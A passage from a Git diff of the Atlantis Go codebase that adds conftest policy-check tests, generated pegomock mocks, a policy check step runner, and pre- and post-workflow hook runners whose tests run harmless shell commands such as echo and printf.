"/tmp/some/path" + + policySetName2 := "policy2" + policySetPath2 := "/some/path2" + localPolicySetPath2 := "/tmp/some/path2" + executablePath := "/usr/bin/conftest" + envs := map[string]string{ + "key": "val", + } + workdir := t.TempDir() + + policySet1 := valid.PolicySet{ + Source: valid.LocalPolicySet, + Path: policySetPath1, + Name: policySetName1, + } + + policySet2 := valid.PolicySet{ + Source: valid.LocalPolicySet, + Path: policySetPath2, + Name: policySetName2, + } + + ctx := command.ProjectContext{ + PolicySets: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + policySet1, + policySet2, + }, + }, + ProjectName: "testproj", + Workspace: "default", + Log: log, + } + + t.Run("success", func(t *testing.T) { + var extraArgs []string + + expectedOutput := "Success" + expectedResult := `[{"PolicySetName":"policy1","PolicyOutput":"Success","Passed":true,"ReqApprovals":0,"CurApprovals":0},{"PolicySetName":"policy2","PolicyOutput":"Success","Passed":true,"ReqApprovals":0,"CurApprovals":0}]` + + expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} + expectedArgsPolicy2 := []string{executablePath, "test", "-p", localPolicySetPath2, filepath.Join(workdir, "testproj-default.json"), "--no-color"} + + When(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil) + When(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil) + + When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, nil) + When(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, nil) + + result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) + + fmt.Println(result) + + Ok(t, errors.Unwrap(err)) + + Assert(t, result == expectedResult, "result is expected") + + }) + + t.Run("success extra args", func(t *testing.T) { + extraArgs := []string{"--all-namespaces"} + + expectedOutput := "Success" + expectedResult := `[{"PolicySetName":"policy1","PolicyOutput":"","Passed":true,"ReqApprovals":0,"CurApprovals":0},{"PolicySetName":"policy2","PolicyOutput":"","Passed":true,"ReqApprovals":0,"CurApprovals":0}]` + + expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} + expectedArgsPolicy2 := []string{executablePath, "test", "-p", localPolicySetPath2, filepath.Join(workdir, "testproj-default.json"), "--no-color"} + + When(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil) + When(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil) + + When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, nil) + When(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, nil) + + result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) + + fmt.Println(result) + + Ok(t, errors.Unwrap(err)) + + Assert(t, result == expectedResult, "result is expected") + + }) + + t.Run("error resolving one policy source", func(t *testing.T) { + var extraArgs []string + + expectedOutput := "Success" + expectedResult := `[{"PolicySetName":"policy1","PolicyOutput":"Success","Passed":true,"ReqApprovals":0,"CurApprovals":0}]` + + expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} + expectedArgsPolicy2 := []string{executablePath, "test", "-p", localPolicySetPath2, filepath.Join(workdir, "testproj-default.json"), "--no-color"} + + When(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil) + When(mockResolver.Resolve(policySet2)).ThenReturn("", errors.New("err")) + + When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, nil) + When(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, nil) + + result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) + + Ok(t, errors.Unwrap(err)) + + Assert(t, result == expectedResult, "result is expected") + + }) + + t.Run("error resolving both policy sources", func(t *testing.T) { + var extraArgs []string + + expectedResult := "" + expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} + + When(mockResolver.Resolve(policySet1)).ThenReturn("", errors.New("err")) + When(mockResolver.Resolve(policySet2)).ThenReturn("", errors.New("err")) + + When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedResult, nil) + + result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) + + Ok(t, err) + + Assert(t, result == "", "result is expected") + + }) + + t.Run("error running one cmd", func(t *testing.T) { + var extraArgs []string + + expectedOutputPolicy1 := fmt.Sprintf("FAIL - %s - failure\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions", filepath.Join(workdir, "testproj-default.json")) + expectedOutputPolicy2 := "Success" + expectedResult := `[{"PolicySetName":"policy1","PolicyOutput":"FAIL - - failure\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions","Passed":false,"ReqApprovals":0,"CurApprovals":0},{"PolicySetName":"policy2","PolicyOutput":"Success","Passed":true,"ReqApprovals":0,"CurApprovals":0}]` + + expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} + expectedArgsPolicy2 := []string{executablePath, "test", "-p", localPolicySetPath2, filepath.Join(workdir, "testproj-default.json"), "--no-color"} + + When(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil) + When(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil) + + When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutputPolicy1, errors.New("exit status code 1")) + When(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutputPolicy2, nil) + + result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) + + Equals(t, result, expectedResult) + Assert(t, err != nil, "error is expected") + + }) + + t.Run("error running both cmds", func(t *testing.T) { + var extraArgs []string + + expectedOutput := fmt.Sprintf("FAIL - %s - failure\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions", filepath.Join(workdir, "testproj-default.json")) + expectedResult := `[{"PolicySetName":"policy1","PolicyOutput":"FAIL - - failure\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions","Passed":false,"ReqApprovals":0,"CurApprovals":0},{"PolicySetName":"policy2","PolicyOutput":"FAIL - - failure\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions","Passed":false,"ReqApprovals":0,"CurApprovals":0}]` + + expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} + expectedArgsPolicy2 := []string{executablePath, "test", "-p", localPolicySetPath2, filepath.Join(workdir, "testproj-default.json"), "--no-color"} + + When(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil) + When(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil) + + When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, errors.New("exit status code 1")) + When(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, errors.New("exit status code 1")) + + result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) + + Equals(t, result, expectedResult) + Assert(t, err != nil, "error is expected") + + }) +} diff --git a/server/core/runtime/policy/mocks/mock_conftest_client.go b/server/core/runtime/policy/mocks/mock_conftest_client.go new file mode 100644 index 0000000000..d16e837aa6 --- /dev/null +++ b/server/core/runtime/policy/mocks/mock_conftest_client.go @@ -0,0 +1,111 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime/policy (interfaces: SourceResolver) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + valid "github.com/runatlantis/atlantis/server/core/config/valid" + "reflect" + "time" +) + +type MockSourceResolver struct { + fail func(message string, callerSkip ...int) +} + +func NewMockSourceResolver(options ...pegomock.Option) *MockSourceResolver { + mock := &MockSourceResolver{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockSourceResolver) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockSourceResolver) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockSourceResolver) Resolve(policySet valid.PolicySet) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockSourceResolver().") + } + _params := []pegomock.Param{policySet} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Resolve", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockSourceResolver) VerifyWasCalledOnce() *VerifierMockSourceResolver { + return &VerifierMockSourceResolver{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockSourceResolver) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSourceResolver { + return &VerifierMockSourceResolver{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockSourceResolver) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSourceResolver { + return &VerifierMockSourceResolver{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockSourceResolver) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSourceResolver { + return &VerifierMockSourceResolver{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockSourceResolver struct { + mock *MockSourceResolver + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockSourceResolver) Resolve(policySet valid.PolicySet) *MockSourceResolver_Resolve_OngoingVerification { + _params := []pegomock.Param{policySet} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Resolve", _params, verifier.timeout) + return &MockSourceResolver_Resolve_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockSourceResolver_Resolve_OngoingVerification struct { + mock *MockSourceResolver + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockSourceResolver_Resolve_OngoingVerification) GetCapturedArguments() valid.PolicySet { + policySet := c.GetAllCapturedArguments() + return policySet[len(policySet)-1] +} + +func (c *MockSourceResolver_Resolve_OngoingVerification) GetAllCapturedArguments() (_param0 []valid.PolicySet) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]valid.PolicySet, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(valid.PolicySet) + } + } + } + return +} diff --git a/server/core/runtime/policy/mocks/mock_downloader.go b/server/core/runtime/policy/mocks/mock_downloader.go new file mode 100644 index 0000000000..03a1d73d47 --- /dev/null +++ b/server/core/runtime/policy/mocks/mock_downloader.go @@ -0,0 +1,112 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime/policy (interfaces: Downloader) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + "reflect" + "time" +) + +type MockDownloader struct { + fail func(message string, callerSkip ...int) +} + +func NewMockDownloader(options ...pegomock.Option) *MockDownloader { + mock := &MockDownloader{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockDownloader) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockDownloader) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockDownloader) GetAny(dst string, src string) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockDownloader().") + } + _params := []pegomock.Param{dst, src} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetAny", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockDownloader) VerifyWasCalledOnce() *VerifierMockDownloader { + return &VerifierMockDownloader{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockDownloader) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockDownloader { + return &VerifierMockDownloader{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockDownloader) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockDownloader { + return &VerifierMockDownloader{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockDownloader) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockDownloader { + return &VerifierMockDownloader{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockDownloader struct { + mock *MockDownloader + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockDownloader) GetAny(dst string, src string) *MockDownloader_GetAny_OngoingVerification { + _params := []pegomock.Param{dst, src} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetAny", _params, verifier.timeout) + return &MockDownloader_GetAny_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockDownloader_GetAny_OngoingVerification struct { + mock *MockDownloader + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockDownloader_GetAny_OngoingVerification) GetCapturedArguments() (string, string) { + dst, src := c.GetAllCapturedArguments() + return dst[len(dst)-1], src[len(src)-1] +} + +func (c *MockDownloader_GetAny_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + } + return +} diff --git a/server/core/runtime/policy_check_step_runner.go b/server/core/runtime/policy_check_step_runner.go new file mode 100644 index 0000000000..2987875f18 --- /dev/null +++ b/server/core/runtime/policy_check_step_runner.go @@ -0,0 +1,36 @@ +package runtime + +import ( + "github.com/hashicorp/go-version" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/events/command" +) + +// policyCheckStepRunner runs a policy check command given a ctx +type policyCheckStepRunner struct { + versionEnsurer ExecutorVersionEnsurer + executor Executor +} + +// NewPolicyCheckStepRunner creates a new step runner from an executor workflow +func NewPolicyCheckStepRunner(defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version, executorWorkflow VersionedExecutorWorkflow) (Runner, error) { + policyCheckStepRunner := &policyCheckStepRunner{ + versionEnsurer: executorWorkflow, + executor: executorWorkflow, + } + remotePlanRunner := RemoteBackendUnsupportedRunner{} + runner := NewPlanTypeStepRunnerDelegate(policyCheckStepRunner, remotePlanRunner) + return NewMinimumVersionStepRunnerDelegate(minimumShowTfVersion, defaultTfVersion, runner) +} + +// Run ensures a given version for the executable, builds the args from the project context and then runs executable returning the result +func (p *policyCheckStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { + executable, err := p.versionEnsurer.EnsureExecutorVersion(ctx.Log, ctx.PolicySets.Version) + + if err != nil { + return "", errors.Wrapf(err, "ensuring policy executor version") + } + + return p.executor.Run(ctx, executable, envs, path, extraArgs) +} diff --git a/server/core/runtime/policy_check_step_runner_test.go b/server/core/runtime/policy_check_step_runner_test.go new file mode 100644 index 0000000000..532c3170d5 --- /dev/null +++ b/server/core/runtime/policy_check_step_runner_test.go @@ -0,0 +1,80 @@ +package runtime + +import ( + "errors" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/runtime/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestRun(t *testing.T) { + RegisterMockTestingT(t) + logger := logging.NewNoopLogger(t) + workspace := "default" + v, _ := version.NewVersion("1.0") + workdir := "/path" + executablePath := "some/path/conftest" + + context := command.ProjectContext{ + Log: logger, + EscapedCommentArgs: []string{"comment", "args"}, + Workspace: workspace, + RepoRelDir: ".", + User: models.User{Username: "username"}, + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + PolicySets: valid.PolicySets{ + Version: v, + PolicySets: []valid.PolicySet{}, + }, + } + + executorWorkflow := mocks.NewMockVersionedExecutorWorkflow() + s := &policyCheckStepRunner{ + versionEnsurer: executorWorkflow, + executor: executorWorkflow, + } + + t.Run("success", func(t *testing.T) { + extraArgs := []string{"extra", "args"} + When(executorWorkflow.EnsureExecutorVersion(logger, v)).ThenReturn(executablePath, nil) + When(executorWorkflow.Run(context, executablePath, map[string]string(nil), workdir, extraArgs)).ThenReturn("Success!", nil) + + output, err := s.Run(context, extraArgs, workdir, map[string]string(nil)) + + Ok(t, err) + Equals(t, "Success!", output) + }) + + t.Run("ensure version failure", func(t *testing.T) { + extraArgs := []string{"extra", "args"} + expectedErr := errors.New("error ensuring version") + When(executorWorkflow.EnsureExecutorVersion(logger, v)).ThenReturn("", expectedErr) + + _, err := s.Run(context, extraArgs, workdir, map[string]string(nil)) + + Assert(t, err != nil, "error is not nil") + }) + t.Run("executor failure", func(t *testing.T) { + extraArgs := []string{"extra", "args"} + When(executorWorkflow.EnsureExecutorVersion(logger, v)).ThenReturn(executablePath, nil) + When(executorWorkflow.Run(context, executablePath, map[string]string(nil), workdir, extraArgs)).ThenReturn("", errors.New("error running executor")) + + _, err := s.Run(context, extraArgs, workdir, map[string]string(nil)) + + Assert(t, err != nil, "error is not nil") + }) +} diff --git a/server/core/runtime/post_workflow_hook_runner.go b/server/core/runtime/post_workflow_hook_runner.go new file mode 100644 index 0000000000..d414c5c934 --- /dev/null +++ b/server/core/runtime/post_workflow_hook_runner.go @@ -0,0 +1,83 @@ +package runtime + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/jobs" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_post_workflows_hook_runner.go PostWorkflowHookRunner +type PostWorkflowHookRunner interface { + Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) +} + +type DefaultPostWorkflowHookRunner struct { + OutputHandler jobs.ProjectCommandOutputHandler +} + +func (wh DefaultPostWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) { + outputFilePath := filepath.Join(path, "OUTPUT_STATUS_FILE") + + shellArgsSlice := append(strings.Split(shellArgs, " "), command) + cmd := exec.Command(shell, shellArgsSlice...) // #nosec + cmd.Dir = path + + baseEnvVars := os.Environ() + customEnvVars := map[string]string{ + "BASE_BRANCH_NAME": ctx.Pull.BaseBranch, + "BASE_REPO_NAME": ctx.BaseRepo.Name, + "BASE_REPO_OWNER": ctx.BaseRepo.Owner, + "COMMENT_ARGS": strings.Join(ctx.EscapedCommentArgs, ","), + "DIR": path, + "HEAD_BRANCH_NAME": ctx.Pull.HeadBranch, + "HEAD_COMMIT": ctx.Pull.HeadCommit, + "HEAD_REPO_NAME": ctx.HeadRepo.Name, + "HEAD_REPO_OWNER": ctx.HeadRepo.Owner, + "PULL_AUTHOR": ctx.Pull.Author, + "PULL_NUM": fmt.Sprintf("%d", ctx.Pull.Num), + "PULL_URL": ctx.Pull.URL, + "USER_NAME": ctx.User.Username, + "OUTPUT_STATUS_FILE": outputFilePath, + "COMMAND_NAME": ctx.CommandName, + "COMMAND_HAS_ERRORS": fmt.Sprintf("%t", ctx.CommandHasErrors), + } + + finalEnvVars := baseEnvVars + for key, val := range customEnvVars { + finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) + } + + cmd.Env = finalEnvVars + out, err := cmd.CombinedOutput() + + outString := strings.ReplaceAll(string(out), "\n", "\r\n") + wh.OutputHandler.SendWorkflowHook(ctx, outString, false) + wh.OutputHandler.SendWorkflowHook(ctx, "\n", true) + + if err != nil { + err = fmt.Errorf("%s: running '%s' in '%s': \n%s", err, shell+" "+shellArgs+" "+command, path, out) + ctx.Log.Debug("error: %s", err) + return string(out), "", err + } + + // Read the value from the "outputFilePath" file + // to be returned as a custom description. + var customStatusOut []byte + if _, err := os.Stat(outputFilePath); err == nil { + var customStatusErr error + customStatusOut, customStatusErr = os.ReadFile(outputFilePath) + if customStatusErr != nil { + err = fmt.Errorf("%s: running '%s' in '%s': \n%s", err, shell+" "+shellArgs+" "+command, path, out) + ctx.Log.Debug("error: %s", err) + return string(out), "", err + } + } + + ctx.Log.Info("Successfully ran '%s' in '%s'", shell+" "+shellArgs+" "+command, path) + return string(out), strings.Trim(string(customStatusOut), "\n"), nil +} diff --git a/server/core/runtime/post_workflow_hook_runner_test.go b/server/core/runtime/post_workflow_hook_runner_test.go new file mode 100644 index 0000000000..47c7a2c4f2 --- /dev/null +++ b/server/core/runtime/post_workflow_hook_runner_test.go @@ -0,0 +1,205 @@ +package runtime_test + +import ( + "fmt" + "strings" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/runtime" + tf "github.com/runatlantis/atlantis/server/core/terraform" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/models" + jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestPostWorkflowHookRunner_Run(t *testing.T) { + + defaultShell := "sh" + defaultShellArgs := "-c" + defaultShellCommandNotFoundErrorFormat := commandNotFoundErrorFormat(defaultShell) + defaultUnterminatedStringError := unterminatedStringError(defaultShell, defaultShellArgs) + + cases := []struct { + Command string + Shell string + ShellArgs string + ExpOut string + ExpErr string + ExpDescription string + }{ + { + Command: "", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo hi", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "hi\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: `printf \'your main.tf file does not provide default region.\\ncheck\'`, + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: `'your`, + ExpErr: "", + ExpDescription: "", + }, + { + Command: `printf 'your main.tf file does not provide default region.\ncheck'`, + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "your main.tf file does not provide default region.\r\ncheck", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo 'a", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: defaultUnterminatedStringError, + ExpErr: "exit status 2: running 'sh -c echo 'a' in", + ExpDescription: "", + }, + { + Command: "echo hi >> file && cat file", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "hi\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "lkjlkj", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: fmt.Sprintf(defaultShellCommandNotFoundErrorFormat, "lkjlkj"), + ExpErr: "exit status 127: running 'sh -c lkjlkj' in", + ExpDescription: "", + }, + { + Command: "echo base_repo_name=$BASE_REPO_NAME base_repo_owner=$BASE_REPO_OWNER head_repo_name=$HEAD_REPO_NAME head_repo_owner=$HEAD_REPO_OWNER head_branch_name=$HEAD_BRANCH_NAME head_commit=$HEAD_COMMIT base_branch_name=$BASE_BRANCH_NAME pull_num=$PULL_NUM pull_url=$PULL_URL pull_author=$PULL_AUTHOR", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "base_repo_name=basename base_repo_owner=baseowner head_repo_name=headname head_repo_owner=headowner head_branch_name=add-feat head_commit=12345abcdef base_branch_name=main pull_num=2 pull_url=https://github.com/runatlantis/atlantis/pull/2 pull_author=acme\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo user_name=$USER_NAME", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "user_name=acme-user\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo command_name=$COMMAND_NAME command_has_errors=$COMMAND_HAS_ERRORS", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "command_name=plan command_has_errors=false\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo something > $OUTPUT_STATUS_FILE", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "", + ExpErr: "", + ExpDescription: "something", + }, + { + Command: "echo shell test 1", + Shell: "bash", + ShellArgs: defaultShellArgs, + ExpOut: "shell test 1\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo shell test 2", + Shell: defaultShell, + ShellArgs: "-cx", + ExpOut: "+ echo shell test 2\r\nshell test 2\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo shell test 3", + Shell: "bash", + ShellArgs: "-cv", + ExpOut: "echo shell test 3\r\nshell test 3\r\n", + ExpErr: "", + ExpDescription: "", + }, + } + + for _, c := range cases { + var err error + + Ok(t, err) + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + When(terraform.EnsureVersion(Any[logging.SimpleLogging](), Any[tf.Distribution](), Any[*version.Version]())). + ThenReturn(nil) + + logger := logging.NewNoopLogger(t) + tmpDir := t.TempDir() + + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + r := runtime.DefaultPostWorkflowHookRunner{ + OutputHandler: projectCmdOutputHandler, + } + t.Run(c.Command, func(t *testing.T) { + ctx := models.WorkflowHookCommandContext{ + BaseRepo: models.Repo{ + Name: "basename", + Owner: "baseowner", + }, + HeadRepo: models.Repo{ + Name: "headname", + Owner: "headowner", + }, + Pull: models.PullRequest{ + Num: 2, + URL: "https://github.com/runatlantis/atlantis/pull/2", + HeadBranch: "add-feat", + HeadCommit: "12345abcdef", + BaseBranch: "main", + Author: "acme", + }, + User: models.User{ + Username: "acme-user", + }, + Log: logger, + CommandName: "plan", + CommandHasErrors: false, + } + _, desc, err := r.Run(ctx, c.Command, c.Shell, c.ShellArgs, tmpDir) + if c.ExpErr != "" { + ErrContains(t, c.ExpErr, err) + } else { + Ok(t, err) + } + // Replace $DIR in the exp with the actual temp dir. We do this + // here because when constructing the cases we don't yet know the + // temp dir. + Equals(t, c.ExpDescription, desc) + expOut := strings.Replace(c.ExpOut, "$DIR", tmpDir, -1) + projectCmdOutputHandler.VerifyWasCalledOnce().SendWorkflowHook( + Any[models.WorkflowHookCommandContext](), Eq(expOut), Eq(false)) + }) + } +} diff --git a/server/core/runtime/pre_workflow_hook_runner.go b/server/core/runtime/pre_workflow_hook_runner.go new file mode 100644 index 0000000000..737bd02e9f --- /dev/null +++ b/server/core/runtime/pre_workflow_hook_runner.go @@ -0,0 +1,82 @@ +package runtime + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/jobs" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_pre_workflows_hook_runner.go PreWorkflowHookRunner +type PreWorkflowHookRunner interface { + Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) +} + +type DefaultPreWorkflowHookRunner struct { + OutputHandler jobs.ProjectCommandOutputHandler +} + +func (wh DefaultPreWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) { + outputFilePath := filepath.Join(path, "OUTPUT_STATUS_FILE") + + shellArgsSlice := append(strings.Split(shellArgs, " "), command) + cmd := exec.Command(shell, shellArgsSlice...) // #nosec + cmd.Dir = path + + baseEnvVars := os.Environ() + customEnvVars := map[string]string{ + "BASE_BRANCH_NAME": ctx.Pull.BaseBranch, + "BASE_REPO_NAME": ctx.BaseRepo.Name, + "BASE_REPO_OWNER": ctx.BaseRepo.Owner, + "COMMENT_ARGS": strings.Join(ctx.EscapedCommentArgs, ","), + "DIR": path, + "HEAD_BRANCH_NAME": ctx.Pull.HeadBranch, + "HEAD_COMMIT": ctx.Pull.HeadCommit, + "HEAD_REPO_NAME": ctx.HeadRepo.Name, + "HEAD_REPO_OWNER": ctx.HeadRepo.Owner, + "PULL_AUTHOR": ctx.Pull.Author, + "PULL_NUM": fmt.Sprintf("%d", ctx.Pull.Num), + "PULL_URL": ctx.Pull.URL, + "USER_NAME": ctx.User.Username, + "OUTPUT_STATUS_FILE": outputFilePath, + "COMMAND_NAME": ctx.CommandName, + } + + finalEnvVars := baseEnvVars + for key, val := range customEnvVars { + finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) + } + + 